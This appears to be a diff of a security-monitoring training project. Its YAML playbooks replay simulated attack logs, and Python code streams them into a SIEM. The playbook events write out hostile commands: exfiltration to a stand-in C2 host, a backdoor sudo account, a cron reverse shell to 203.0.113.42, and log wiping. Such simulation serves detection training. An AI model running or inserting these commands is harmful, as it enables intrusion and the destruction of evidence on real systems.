dest_port: 443
|
||||
hostname: proxy-01
|
||||
message: C2 beacon with tasking response received
|
||||
url: https://cdn-services.example.net/api/v1/tasks
|
||||
method: GET
|
||||
status_code: 200
|
||||
user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
|
||||
content_type: application/json
|
||||
bytes_transferred: 1893
|
||||
mitre_tactic: TA0011
|
||||
mitre_technique: T1071.001
|
||||
|
||||
- delay_seconds: 3.0
|
||||
source_type: endpoint
|
||||
event_type: process_execution
|
||||
source_ip: 10.0.1.50
|
||||
hostname: ws-jdoe
|
||||
username: jdoe
|
||||
message: Discovery commands executed via C2 tasking
|
||||
process_name: cmd.exe
|
||||
process_id: 5102
|
||||
parent_process: update.exe
|
||||
command_line: cmd.exe /c whoami /all & net user & net group "Domain Admins" /domain
|
||||
mitre_tactic: TA0007
|
||||
mitre_technique: T1087.002
|
||||
|
||||
- delay_seconds: 2.0
|
||||
source_type: endpoint
|
||||
event_type: process_execution
|
||||
source_ip: 10.0.1.50
|
||||
hostname: ws-jdoe
|
||||
username: jdoe
|
||||
message: Network share enumeration for data staging
|
||||
process_name: net.exe
|
||||
process_id: 5118
|
||||
parent_process: update.exe
|
||||
command_line: net.exe view \\FILE-SERVER-01 /all
|
||||
mitre_tactic: TA0007
|
||||
mitre_technique: T1135
|
||||
|
||||
- delay_seconds: 3.0
|
||||
source_type: endpoint
|
||||
event_type: process_execution
|
||||
source_ip: 10.0.1.50
|
||||
hostname: ws-jdoe
|
||||
username: jdoe
|
||||
message: Scheduled task created for persistence
|
||||
process_name: schtasks.exe
|
||||
process_id: 5134
|
||||
parent_process: update.exe
|
||||
command_line: schtasks.exe /create /sc minute /mo 10 /tn "WindowsUpdate" /tr "C:\Users\jdoe\AppData\Local\Temp\update.exe" /f
|
||||
mitre_tactic: TA0003
|
||||
mitre_technique: T1053.005
|
||||
|
||||
- delay_seconds: 4.0
|
||||
source_type: endpoint
|
||||
event_type: file_access
|
||||
source_ip: 10.0.1.50
|
||||
hostname: ws-jdoe
|
||||
username: jdoe
|
||||
message: Sensitive documents staged in temp directory for exfiltration
|
||||
process_name: powershell.exe
|
||||
process_id: 5201
|
||||
parent_process: update.exe
|
||||
command_line: Compress-Archive -Path C:\Users\jdoe\Documents\*.xlsx,C:\Users\jdoe\Documents\*.docx -DestinationPath C:\Users\jdoe\AppData\Local\Temp\archive.zip
|
||||
file_path: C:\Users\jdoe\AppData\Local\Temp\archive.zip
|
||||
mitre_tactic: TA0009
|
||||
mitre_technique: T1074.001
|
||||
|
||||
- delay_seconds: 5.0
|
||||
source_type: proxy
|
||||
event_type: c2_communication
|
||||
source_ip: 10.0.1.50
|
||||
dest_ip: 203.0.113.99
|
||||
source_port: 53410
|
||||
dest_port: 443
|
||||
hostname: proxy-01
|
||||
message: Data exfiltration via C2 channel with large upload
|
||||
url: https://cdn-services.example.net/api/v1/upload
|
||||
method: POST
|
||||
status_code: 200
|
||||
user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
|
||||
content_type: application/octet-stream
|
||||
bytes_transferred: 3458731
|
||||
mitre_tactic: TA0010
|
||||
mitre_technique: T1041
|
||||
|
||||
- delay_seconds: 10.0
|
||||
source_type: proxy
|
||||
event_type: c2_communication
|
||||
source_ip: 10.0.1.50
|
||||
dest_ip: 203.0.113.99
|
||||
source_port: 53411
|
||||
dest_port: 443
|
||||
hostname: proxy-01
|
||||
message: C2 beacon continues after exfiltration
|
||||
url: https://cdn-services.example.net/api/v1/status
|
||||
method: POST
|
||||
status_code: 200
|
||||
user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
|
||||
content_type: application/json
|
||||
bytes_transferred: 256
|
||||
mitre_tactic: TA0011
|
||||
mitre_technique: T1071.001
|
||||
|
|
@ -0,0 +1,307 @@
|
|||
# ©AngelaMos | 2026
|
||||
# privilege_escalation.yml
|
||||
|
||||
name: Privilege Escalation and Persistence
|
||||
description: >
|
||||
Simulates a compromised service account that performs system
|
||||
enumeration, exploits a kernel vulnerability for root access,
|
||||
creates a backdoor admin account, installs a cron-based reverse
|
||||
shell for persistence, and covers tracks by clearing logs. Based
|
||||
on PrintNightmare-style exploitation patterns.
|
||||
|
||||
mitre_tactics:
|
||||
- TA0004
|
||||
- TA0003
|
||||
- TA0005
|
||||
- TA0007
|
||||
mitre_techniques:
|
||||
- T1068
|
||||
- T1136.001
|
||||
- T1053.005
|
||||
- T1070.002
|
||||
|
||||
events:
|
||||
- delay_seconds: 1.0
|
||||
source_type: auth
|
||||
event_type: login_success
|
||||
source_ip: 10.1.3.25
|
||||
dest_ip: 10.1.2.10
|
||||
hostname: app-server-01
|
||||
username: svc-webapp
|
||||
message: Normal service account login via SSH
|
||||
auth_method: publickey
|
||||
result: success
|
||||
service: sshd
|
||||
mitre_tactic: TA0001
|
||||
mitre_technique: T1078.003
|
||||
|
||||
- delay_seconds: 3.0
|
||||
source_type: endpoint
|
||||
event_type: process_execution
|
||||
source_ip: 10.1.2.10
|
||||
hostname: app-server-01
|
||||
username: svc-webapp
|
||||
message: System information enumeration
|
||||
process_name: uname
|
||||
process_id: 12301
|
||||
parent_process: bash
|
||||
command_line: uname -a
|
||||
mitre_tactic: TA0007
|
||||
mitre_technique: T1082
|
||||
|
||||
- delay_seconds: 1.5
|
||||
source_type: endpoint
|
||||
event_type: process_execution
|
||||
source_ip: 10.1.2.10
|
||||
hostname: app-server-01
|
||||
username: svc-webapp
|
||||
message: Kernel version check for exploit matching
|
||||
process_name: cat
|
||||
process_id: 12310
|
||||
parent_process: bash
|
||||
command_line: cat /proc/version
|
||||
file_path: /proc/version
|
||||
mitre_tactic: TA0007
|
||||
mitre_technique: T1082
|
||||
|
||||
- delay_seconds: 1.5
|
||||
source_type: endpoint
|
||||
event_type: process_execution
|
||||
source_ip: 10.1.2.10
|
||||
hostname: app-server-01
|
||||
username: svc-webapp
|
||||
message: SUID binary discovery for privilege escalation vectors
|
||||
process_name: find
|
||||
process_id: 12315
|
||||
parent_process: bash
|
||||
command_line: find / -perm -4000 -type f 2>/dev/null
|
||||
mitre_tactic: TA0007
|
||||
mitre_technique: T1083
|
||||
|
||||
- delay_seconds: 2.0
|
||||
source_type: endpoint
|
||||
event_type: process_execution
|
||||
source_ip: 10.1.2.10
|
||||
hostname: app-server-01
|
||||
username: svc-webapp
|
||||
message: Current user privilege enumeration
|
||||
process_name: id
|
||||
process_id: 12320
|
||||
parent_process: bash
|
||||
command_line: id && sudo -l 2>/dev/null
|
||||
mitre_tactic: TA0007
|
||||
mitre_technique: T1033
|
||||
|
||||
- delay_seconds: 2.0
|
||||
source_type: endpoint
|
||||
event_type: process_execution
|
||||
source_ip: 10.1.2.10
|
||||
hostname: app-server-01
|
||||
username: svc-webapp
|
||||
message: Writable directory discovery for exploit staging
|
||||
process_name: find
|
||||
process_id: 12330
|
||||
parent_process: bash
|
||||
command_line: find /tmp /var/tmp /dev/shm -writable -type d 2>/dev/null
|
||||
mitre_tactic: TA0007
|
||||
mitre_technique: T1083
|
||||
|
||||
- delay_seconds: 3.0
|
||||
source_type: endpoint
|
||||
event_type: process_execution
|
||||
source_ip: 10.1.2.10
|
||||
hostname: app-server-01
|
||||
username: svc-webapp
|
||||
message: Exploit source code compiled on target host
|
||||
process_name: gcc
|
||||
process_id: 12340
|
||||
parent_process: bash
|
||||
command_line: gcc -o /tmp/.exploit /tmp/.exploit.c -lpthread
|
||||
file_path: /tmp/.exploit
|
||||
mitre_tactic: TA0004
|
||||
mitre_technique: T1068
|
||||
|
||||
- delay_seconds: 1.5
|
||||
source_type: endpoint
|
||||
event_type: process_execution
|
||||
source_ip: 10.1.2.10
|
||||
hostname: app-server-01
|
||||
username: svc-webapp
|
||||
message: Kernel exploit binary executed
|
||||
process_name: .exploit
|
||||
process_id: 12355
|
||||
parent_process: bash
|
||||
command_line: /tmp/.exploit
|
||||
file_path: /tmp/.exploit
|
||||
mitre_tactic: TA0004
|
||||
mitre_technique: T1068
|
||||
|
||||
- delay_seconds: 2.0
|
||||
source_type: endpoint
|
||||
event_type: privilege_escalation
|
||||
source_ip: 10.1.2.10
|
||||
hostname: app-server-01
|
||||
username: root
|
||||
message: Privilege escalation to root via kernel exploit
|
||||
process_name: bash
|
||||
process_id: 12360
|
||||
parent_process: .exploit
|
||||
command_line: /bin/bash -p
|
||||
mitre_tactic: TA0004
|
||||
mitre_technique: T1068
|
||||
|
||||
- delay_seconds: 2.0
|
||||
source_type: ids
|
||||
event_type: ids_alert
|
||||
source_ip: 10.1.2.10
|
||||
hostname: ids-sensor-02
|
||||
message: Privilege escalation detected on application server
|
||||
signature_id: 2100366
|
||||
signature_name: ET POLICY Potential Privilege Escalation
|
||||
classification: attempted-admin
|
||||
priority: 1
|
||||
mitre_tactic: TA0004
|
||||
mitre_technique: T1068
|
||||
|
||||
- delay_seconds: 3.0
|
||||
source_type: endpoint
|
||||
event_type: process_execution
|
||||
source_ip: 10.1.2.10
|
||||
hostname: app-server-01
|
||||
username: root
|
||||
message: Backdoor admin account created with sudo privileges
|
||||
process_name: useradd
|
||||
process_id: 12378
|
||||
parent_process: bash
|
||||
command_line: useradd -m -G sudo -s /bin/bash sysadm1n
|
||||
mitre_tactic: TA0003
|
||||
mitre_technique: T1136.001
|
||||
|
||||
- delay_seconds: 1.0
|
||||
source_type: auth
|
||||
event_type: account_created
|
||||
source_ip: 10.1.2.10
|
||||
hostname: app-server-01
|
||||
username: root
|
||||
message: New local account sysadm1n added to sudo group
|
||||
auth_method: local
|
||||
result: success
|
||||
service: useradd
|
||||
mitre_tactic: TA0003
|
||||
mitre_technique: T1136.001
|
||||
|
||||
- delay_seconds: 1.5
|
||||
source_type: endpoint
|
||||
event_type: process_execution
|
||||
source_ip: 10.1.2.10
|
||||
hostname: app-server-01
|
||||
username: root
|
||||
message: Password set for backdoor admin account
|
||||
process_name: chpasswd
|
||||
process_id: 12385
|
||||
parent_process: bash
|
||||
command_line: echo sysadm1n:P@ssw0rd123 | chpasswd
|
||||
mitre_tactic: TA0003
|
||||
mitre_technique: T1136.001
|
||||
|
||||
- delay_seconds: 2.0
|
||||
source_type: endpoint
|
||||
event_type: process_execution
|
||||
source_ip: 10.1.2.10
|
||||
hostname: app-server-01
|
||||
username: root
|
||||
message: SSH authorized key installed for passwordless backdoor access
|
||||
process_name: bash
|
||||
process_id: 12395
|
||||
parent_process: bash
|
||||
command_line: mkdir -p /home/sysadm1n/.ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAA..." > /home/sysadm1n/.ssh/authorized_keys
|
||||
file_path: /home/sysadm1n/.ssh/authorized_keys
|
||||
mitre_tactic: TA0003
|
||||
mitre_technique: T1098.004
|
||||
|
||||
- delay_seconds: 3.0
|
||||
source_type: endpoint
|
||||
event_type: process_execution
|
||||
source_ip: 10.1.2.10
|
||||
hostname: app-server-01
|
||||
username: root
|
||||
message: Reverse shell cron job installed for persistent access
|
||||
process_name: crontab
|
||||
process_id: 12401
|
||||
parent_process: bash
|
||||
command_line: (crontab -l; echo "*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/203.0.113.42/4444 0>&1'") | crontab -
|
||||
mitre_tactic: TA0003
|
||||
mitre_technique: T1053.005
|
||||
|
||||
- delay_seconds: 2.0
|
||||
source_type: endpoint
|
||||
event_type: process_execution
|
||||
source_ip: 10.1.2.10
|
||||
hostname: app-server-01
|
||||
username: root
|
||||
message: Exploit binary and source removed to cover tracks
|
||||
process_name: rm
|
||||
process_id: 12430
|
||||
parent_process: bash
|
||||
command_line: rm -f /tmp/.exploit /tmp/.exploit.c
|
||||
mitre_tactic: TA0005
|
||||
mitre_technique: T1070.004
|
||||
|
||||
- delay_seconds: 1.5
|
||||
source_type: endpoint
|
||||
event_type: process_execution
|
||||
source_ip: 10.1.2.10
|
||||
hostname: app-server-01
|
||||
username: root
|
||||
message: Authentication log cleared to destroy evidence
|
||||
process_name: truncate
|
||||
process_id: 12445
|
||||
parent_process: bash
|
||||
command_line: truncate -s 0 /var/log/auth.log
|
||||
file_path: /var/log/auth.log
|
||||
mitre_tactic: TA0005
|
||||
mitre_technique: T1070.002
|
||||
|
||||
- delay_seconds: 1.0
|
||||
source_type: endpoint
|
||||
event_type: process_execution
|
||||
source_ip: 10.1.2.10
|
||||
hostname: app-server-01
|
||||
username: root
|
||||
message: Syslog cleared to remove traces
|
||||
process_name: truncate
|
||||
process_id: 12450
|
||||
parent_process: bash
|
||||
command_line: truncate -s 0 /var/log/syslog
|
||||
file_path: /var/log/syslog
|
||||
mitre_tactic: TA0005
|
||||
mitre_technique: T1070.002
|
||||
|
||||
- delay_seconds: 5.0
|
||||
source_type: firewall
|
||||
event_type: connection_allowed
|
||||
source_ip: 10.1.2.10
|
||||
dest_ip: 203.0.113.42
|
||||
source_port: 48901
|
||||
dest_port: 4444
|
||||
hostname: fw-edge-01
|
||||
message: Outbound reverse shell connection from cron backdoor
|
||||
action: allow
|
||||
protocol: tcp
|
||||
rule_name: outbound-general
|
||||
mitre_tactic: TA0011
|
||||
mitre_technique: T1571
|
||||
|
||||
- delay_seconds: 1.0
|
||||
source_type: ids
|
||||
event_type: ids_alert
|
||||
source_ip: 10.1.2.10
|
||||
dest_ip: 203.0.113.42
|
||||
hostname: ids-sensor-01
|
||||
message: Reverse shell connection detected on non-standard port
|
||||
signature_id: 2024897
|
||||
signature_name: ET ATTACK_RESPONSE Possible Reverse Shell
|
||||
classification: trojan-activity
|
||||
priority: 1
|
||||
mitre_tactic: TA0011
|
||||
mitre_technique: T1571
|
||||
|
|
@ -0,0 +1,252 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
runner.py
|
||||
"""
|
||||
|
||||
import random
|
||||
import threading
|
||||
import time
|
||||
from dataclasses import dataclass, field
|
||||
from pathlib import Path
|
||||
from typing import Any
|
||||
|
||||
import structlog
|
||||
|
||||
from app.config import settings
|
||||
from app.core.streaming import publish_event
|
||||
from app.engine.normalizer import normalize
|
||||
from app.engine.severity import classify
|
||||
from app.models.LogEvent import LogEvent
|
||||
from app.models.ScenarioRun import ScenarioRun
|
||||
from app.scenarios.playbook import Playbook
|
||||
|
||||
|
||||
logger = structlog.get_logger()
|
||||
|
||||
JITTER_FACTOR = 0.2
|
||||
|
||||
|
||||
@dataclass
|
||||
class ScenarioThread:
|
||||
"""
|
||||
A daemon thread that plays back a single scenario playbook
|
||||
"""
|
||||
run_id: str
|
||||
playbook: Playbook
|
||||
thread: threading.Thread = field(init = False)
|
||||
stop_event: threading.Event = field(default_factory = threading.Event)
|
||||
pause_event: threading.Event = field(default_factory = threading.Event)
|
||||
speed: float = 1.0
|
||||
|
||||
def __post_init__(self) -> None:
|
||||
self.pause_event.set()
|
||||
self.thread = threading.Thread(
|
||||
target = self._run,
|
||||
daemon = True,
|
||||
name = f"scenario-{self.run_id}",
|
||||
)
|
||||
|
||||
def start(self) -> None:
|
||||
"""
|
||||
Start the playback thread
|
||||
"""
|
||||
self.thread.start()
|
||||
|
||||
def stop(self) -> None:
|
||||
"""
|
||||
Signal the thread to stop
|
||||
"""
|
||||
self.stop_event.set()
|
||||
self.pause_event.set()
|
||||
|
||||
def pause(self) -> None:
|
||||
"""
|
||||
Pause playback until resumed
|
||||
"""
|
||||
self.pause_event.clear()
|
||||
|
||||
def resume(self) -> None:
|
||||
"""
|
||||
Resume paused playback
|
||||
"""
|
||||
self.pause_event.set()
|
||||
|
||||
def _run(self) -> None:
|
||||
"""
|
||||
Iterate through playbook events with delay and jitter
|
||||
"""
|
||||
try:
|
||||
run = ScenarioRun.get_by_id(self.run_id)
|
||||
|
||||
for event in self.playbook.events:
|
||||
if self.stop_event.is_set():
|
||||
break
|
||||
|
||||
self.pause_event.wait()
|
||||
if self.stop_event.is_set():
|
||||
break
|
||||
|
||||
delay = event.delay_seconds / self.speed
|
||||
jitter = delay * JITTER_FACTOR
|
||||
actual_delay = max(0, delay + random.uniform(-jitter, jitter)) # noqa: S311
|
||||
time.sleep(actual_delay)
|
||||
|
||||
if self.stop_event.is_set():
|
||||
break
|
||||
|
||||
self._emit_event(event, run)
|
||||
|
||||
if self.stop_event.is_set():
|
||||
run.mark_stopped()
|
||||
else:
|
||||
run.mark_completed()
|
||||
except Exception:
|
||||
logger.exception("scenario_thread_error", run_id=self.run_id)
|
||||
try:
|
||||
run = ScenarioRun.get_by_id(self.run_id)
|
||||
run.mark_error(f"Thread crashed: check logs for run {self.run_id}")
|
||||
except Exception:
|
||||
logger.exception("scenario_error_update_failed", run_id=self.run_id)
|
||||
finally:
|
||||
ScenarioRunner.remove(self.run_id)
|
||||
|
||||
def _emit_event(self, event: Any, run: ScenarioRun) -> None:
|
||||
"""
|
||||
Normalize, persist, and publish a single playbook event
|
||||
"""
|
||||
raw = {
|
||||
"source_type": event.source_type,
|
||||
"event_type": event.event_type,
|
||||
"source_ip": event.source_ip,
|
||||
"dest_ip": event.dest_ip,
|
||||
"source_port": event.source_port,
|
||||
"dest_port": event.dest_port,
|
||||
"hostname": event.hostname,
|
||||
"username": event.username,
|
||||
"mitre_tactic": event.mitre_tactic,
|
||||
"mitre_technique": event.mitre_technique,
|
||||
"message": event.message,
|
||||
**event.extra,
|
||||
}
|
||||
raw = {k: v for k, v in raw.items() if v is not None}
|
||||
|
||||
normalized = normalize(raw)
|
||||
severity = classify(normalized)
|
||||
|
||||
log_event = LogEvent.create_event(
|
||||
**normalized,
|
||||
severity = severity,
|
||||
scenario_run_id = run.id,
|
||||
mitre_tactic = event.mitre_tactic,
|
||||
mitre_technique = event.mitre_technique,
|
||||
)
|
||||
|
||||
publish_event(
|
||||
settings.LOG_STREAM_KEY,
|
||||
{
|
||||
"id": str(log_event.id),
|
||||
"timestamp": str(log_event.timestamp),
|
||||
"source_type": log_event.source_type,
|
||||
"severity": log_event.severity,
|
||||
"event_type": log_event.event_type,
|
||||
"source_ip": log_event.source_ip,
|
||||
"dest_ip": log_event.dest_ip,
|
||||
"hostname": log_event.hostname,
|
||||
"username": log_event.username,
|
||||
"scenario_run_id": str(run.id),
|
||||
},
|
||||
)
|
||||
|
||||
run.increment_events()
|
||||
|
||||
|
||||
class ScenarioRunner:
|
||||
"""
|
||||
Singleton manager for active scenario threads
|
||||
"""
|
||||
_active: dict[str, ScenarioThread] = {} # noqa: RUF012
|
||||
_lock = threading.Lock()
|
||||
|
||||
@classmethod
|
||||
def start(cls, scenario_filename: str) -> ScenarioRun:
|
||||
"""
|
||||
Load a playbook and start a new scenario thread
|
||||
"""
|
||||
path = Path(settings.SCENARIO_PLAYBOOK_DIR) / scenario_filename
|
||||
playbook = Playbook.load(path)
|
||||
run = ScenarioRun.start_run(playbook.name)
|
||||
|
||||
thread = ScenarioThread(
|
||||
run_id = str(run.id),
|
||||
playbook = playbook,
|
||||
)
|
||||
|
||||
with cls._lock:
|
||||
cls._active[str(run.id)] = thread
|
||||
|
||||
thread.start()
|
||||
return run
|
||||
|
||||
@classmethod
|
||||
def stop(cls, run_id: str) -> None:
|
||||
"""
|
||||
Stop an active scenario thread
|
||||
"""
|
||||
with cls._lock:
|
||||
thread = cls._active.get(run_id)
|
||||
if thread:
|
||||
thread.stop()
|
||||
run = ScenarioRun.get_by_id(run_id)
|
||||
run.mark_stopped()
|
||||
|
||||
@classmethod
|
||||
def pause(cls, run_id: str) -> None:
|
||||
"""
|
||||
Pause an active scenario thread
|
||||
"""
|
||||
with cls._lock:
|
||||
thread = cls._active.get(run_id)
|
||||
if thread:
|
||||
thread.pause()
|
||||
run = ScenarioRun.get_by_id(run_id)
|
||||
run.mark_paused()
|
||||
|
||||
@classmethod
|
||||
def resume(cls, run_id: str) -> None:
|
||||
"""
|
||||
Resume a paused scenario thread
|
||||
"""
|
||||
with cls._lock:
|
||||
thread = cls._active.get(run_id)
|
||||
if thread:
|
||||
thread.resume()
|
||||
run = ScenarioRun.get_by_id(run_id)
|
||||
run.mark_resumed()
|
||||
|
||||
@classmethod
|
||||
def set_speed(cls, run_id: str, speed: float) -> None:
|
||||
"""
|
||||
Adjust the playback speed of an active scenario
|
||||
"""
|
||||
with cls._lock:
|
||||
thread = cls._active.get(run_id)
|
||||
if thread:
|
||||
thread.speed = speed
|
||||
run = ScenarioRun.get_by_id(run_id)
|
||||
run.set_speed(speed)
|
||||
|
||||
@classmethod
|
||||
def remove(cls, run_id: str) -> None:
|
||||
"""
|
||||
Remove a completed or stopped thread from the active map
|
||||
"""
|
||||
with cls._lock:
|
||||
cls._active.pop(run_id, None)
|
||||
|
||||
@classmethod
|
||||
def get_active_ids(cls) -> list[str]:
|
||||
"""
|
||||
Return IDs of all currently active scenario threads
|
||||
"""
|
||||
with cls._lock:
|
||||
return list(cls._active.keys())
|
||||
|
|
@ -0,0 +1,4 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
__init__.py
|
||||
"""
|
||||
|
|
@ -0,0 +1,27 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
admin.py
|
||||
"""
|
||||
|
||||
from pydantic import BaseModel, Field
|
||||
|
||||
from app.config import settings
|
||||
from app.models.User import UserRole
|
||||
|
||||
|
||||
VALID_ROLES = [r.value for r in UserRole]
|
||||
|
||||
|
||||
class AdminUpdateRoleRequest(BaseModel):
|
||||
"""
|
||||
Payload for changing a user role
|
||||
"""
|
||||
role: str = Field(pattern = f"^({'|'.join(VALID_ROLES)})$")
|
||||
|
||||
|
||||
class AdminUserListParams(BaseModel):
|
||||
"""
|
||||
Query parameters for paginated user listing
|
||||
"""
|
||||
page: int = Field(default = 1, ge = 1)
|
||||
per_page: int = Field(default = settings.DEFAULT_PAGE_SIZE, ge = 1, le = settings.MAX_PAGE_SIZE)
|
||||
|
|
@ -0,0 +1,31 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
alert.py
|
||||
"""
|
||||
|
||||
from pydantic import BaseModel, Field
|
||||
|
||||
from app.config import settings
|
||||
from app.models.Alert import AlertStatus
|
||||
|
||||
|
||||
class AlertStatusUpdate(BaseModel):
|
||||
"""
|
||||
Schema for transitioning an alert to a new status
|
||||
"""
|
||||
status: AlertStatus
|
||||
notes: str | None = None
|
||||
|
||||
|
||||
class AlertQueryParams(BaseModel):
|
||||
"""
|
||||
Filters for listing alerts
|
||||
"""
|
||||
page: int = Field(default=1, ge=1)
|
||||
per_page: int = Field(
|
||||
default=settings.DEFAULT_PAGE_SIZE,
|
||||
ge=1,
|
||||
le=settings.MAX_PAGE_SIZE,
|
||||
)
|
||||
status: str | None = None
|
||||
severity: str | None = None
|
||||
|
|
@ -0,0 +1,73 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
auth.py
|
||||
"""
|
||||
|
||||
from pydantic import BaseModel, EmailStr, Field
|
||||
|
||||
from app.models.User import USERNAME_MIN, USERNAME_MAX
|
||||
|
||||
|
||||
PASSWORD_MIN = 8
|
||||
|
||||
|
||||
class RegisterRequest(BaseModel):
|
||||
"""
|
||||
Schema for user registration
|
||||
"""
|
||||
username: str = Field(
|
||||
min_length = USERNAME_MIN,
|
||||
max_length = USERNAME_MAX,
|
||||
)
|
||||
email: EmailStr
|
||||
password: str = Field(min_length = PASSWORD_MIN)
|
||||
|
||||
|
||||
class LoginRequest(BaseModel):
|
||||
"""
|
||||
Schema for user login
|
||||
"""
|
||||
username: str
|
||||
password: str
|
||||
|
||||
|
||||
class TokenResponse(BaseModel):
|
||||
"""
|
||||
JWT token returned after login or registration
|
||||
"""
|
||||
access_token: str
|
||||
token_type: str = "bearer"
|
||||
|
||||
|
||||
class UpdateProfileRequest(BaseModel):
|
||||
"""
|
||||
Self-service profile update validated by current password
|
||||
"""
|
||||
current_password: str
|
||||
username: str | None = Field(
|
||||
default = None,
|
||||
min_length = USERNAME_MIN,
|
||||
max_length = USERNAME_MAX,
|
||||
)
|
||||
email: EmailStr | None = None
|
||||
password: str | None = Field(default = None, min_length = PASSWORD_MIN)
|
||||
|
||||
|
||||
class UserResponse(BaseModel):
|
||||
"""
|
||||
Public user profile data
|
||||
"""
|
||||
id: str
|
||||
username: str
|
||||
email: str
|
||||
role: str
|
||||
is_active: bool
|
||||
|
||||
|
||||
class UpdateProfileResponse(BaseModel):
|
||||
"""
|
||||
Updated profile with an optional refreshed token
|
||||
"""
|
||||
user: UserResponse
|
||||
access_token: str | None = None
|
||||
token_type: str = "bearer"
|
||||
|
|
@ -0,0 +1,32 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
dashboard.py
|
||||
"""
|
||||
|
||||
from pydantic import BaseModel, Field
|
||||
|
||||
from app.config import settings
|
||||
|
||||
|
||||
class TimelineParams(BaseModel):
|
||||
"""
|
||||
Query params for event timeline aggregation
|
||||
"""
|
||||
hours: int = Field(
|
||||
default=settings.TIMELINE_DEFAULT_HOURS,
|
||||
ge=1,
|
||||
)
|
||||
bucket_minutes: int = Field(
|
||||
default=settings.TIMELINE_BUCKET_MINUTES,
|
||||
ge=1,
|
||||
)
|
||||
|
||||
|
||||
class TopSourcesParams(BaseModel):
|
||||
"""
|
||||
Query params for top source IPs
|
||||
"""
|
||||
limit: int = Field(
|
||||
default=settings.TOP_SOURCES_LIMIT,
|
||||
ge=1,
|
||||
)
|
||||
|
|
@ -0,0 +1,68 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
log_event.py
|
||||
"""
|
||||
|
||||
from typing import Any
|
||||
|
||||
from pydantic import BaseModel, Field
|
||||
|
||||
from app.config import settings
|
||||
|
||||
|
||||
class LogIngestRequest(BaseModel):
|
||||
"""
|
||||
Raw log event submitted for ingestion
|
||||
"""
|
||||
source_type: str
|
||||
event_type: str | None = None
|
||||
source_ip: str | None = None
|
||||
dest_ip: str | None = None
|
||||
source_port: int | None = None
|
||||
dest_port: int | None = None
|
||||
hostname: str | None = None
|
||||
username: str | None = None
|
||||
mitre_tactic: str | None = None
|
||||
mitre_technique: str | None = None
|
||||
message: str | None = None
|
||||
metadata: dict[str, Any] | None = None
|
||||
|
||||
model_config = {"extra": "allow"}
|
||||
|
||||
|
||||
class LogQueryParams(BaseModel):
|
||||
"""
|
||||
Filters for listing log events
|
||||
"""
|
||||
page: int = Field(default = 1, ge = 1)
|
||||
per_page: int = Field(
|
||||
default = settings.DEFAULT_PAGE_SIZE,
|
||||
ge = 1,
|
||||
le = settings.MAX_PAGE_SIZE,
|
||||
)
|
||||
source_type: str | None = None
|
||||
severity: str | None = None
|
||||
source_ip: str | None = None
|
||||
event_type: str | None = None
|
||||
|
||||
|
||||
class LogSearchParams(BaseModel):
|
||||
"""
|
||||
Parameters for full text log search
|
||||
"""
|
||||
q: str = Field(min_length = 1)
|
||||
page: int = Field(default = 1, ge = 1)
|
||||
per_page: int = Field(
|
||||
default = settings.DEFAULT_PAGE_SIZE,
|
||||
ge = 1,
|
||||
le = settings.MAX_PAGE_SIZE,
|
||||
)
|
||||
|
||||
|
||||
class PivotParams(BaseModel):
|
||||
"""
|
||||
Query params for forensic pivot lookups
|
||||
"""
|
||||
ip: str | None = None
|
||||
username: str | None = None
|
||||
hostname: str | None = None
|
||||
|
|
@ -0,0 +1,105 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
rule.py
|
||||
"""
|
||||
|
||||
from typing import Any, Literal
|
||||
|
||||
from pydantic import BaseModel, Field, model_validator
|
||||
|
||||
from app.config import settings
|
||||
from app.models.CorrelationRule import RuleType
|
||||
from app.models.LogEvent import Severity
|
||||
|
||||
|
||||
class ThresholdConditions(BaseModel):
|
||||
"""
|
||||
Conditions for threshold-based correlation rules
|
||||
"""
|
||||
event_filter: dict[str, str]
|
||||
threshold: int = Field(ge=1)
|
||||
window_seconds: int = Field(ge=1)
|
||||
group_by: str
|
||||
|
||||
|
||||
class SequenceStep(BaseModel):
|
||||
"""
|
||||
A single step in a sequence correlation rule
|
||||
"""
|
||||
event_filter: dict[str, str]
|
||||
count: int = Field(default=1, ge=1)
|
||||
|
||||
|
||||
class SequenceConditions(BaseModel):
|
||||
"""
|
||||
Conditions for sequence-based correlation rules
|
||||
"""
|
||||
steps: list[SequenceStep] = Field(min_length=2)
|
||||
window_seconds: int = Field(ge=1)
|
||||
group_by: str
|
||||
|
||||
|
||||
class AggregationConditions(BaseModel):
|
||||
"""
|
||||
Conditions for aggregation-based correlation rules
|
||||
"""
|
||||
event_filter: dict[str, str]
|
||||
aggregation: Literal["count_distinct"]
|
||||
aggregation_field: str
|
||||
threshold: int = Field(ge=1)
|
||||
window_seconds: int = Field(ge=1)
|
||||
group_by: str
|
||||
|
||||
|
||||
CONDITION_SCHEMAS: dict[RuleType, type[BaseModel]] = {
|
||||
RuleType.THRESHOLD: ThresholdConditions,
|
||||
RuleType.SEQUENCE: SequenceConditions,
|
||||
RuleType.AGGREGATION: AggregationConditions,
|
||||
}
|
||||
|
||||
|
||||
class RuleCreateRequest(BaseModel):
|
||||
"""
|
||||
Schema for creating a new correlation rule
|
||||
"""
|
||||
name: str = Field(min_length=1)
|
||||
description: str = ""
|
||||
rule_type: RuleType
|
||||
conditions: dict[str, Any]
|
||||
severity: Severity
|
||||
enabled: bool = True
|
||||
mitre_tactic: str | None = None
|
||||
mitre_technique: str | None = None
|
||||
|
||||
@model_validator(mode="after")
|
||||
def validate_conditions(self) -> RuleCreateRequest:
|
||||
"""
|
||||
Validate conditions dict matches the expected structure for rule_type
|
||||
"""
|
||||
schema = CONDITION_SCHEMAS[self.rule_type]
|
||||
schema.model_validate(self.conditions)
|
||||
return self
|
||||
|
||||
|
||||
class RuleUpdateRequest(BaseModel):
|
||||
"""
|
||||
Schema for updating an existing correlation rule
|
||||
"""
|
||||
name: str | None = None
|
||||
description: str | None = None
|
||||
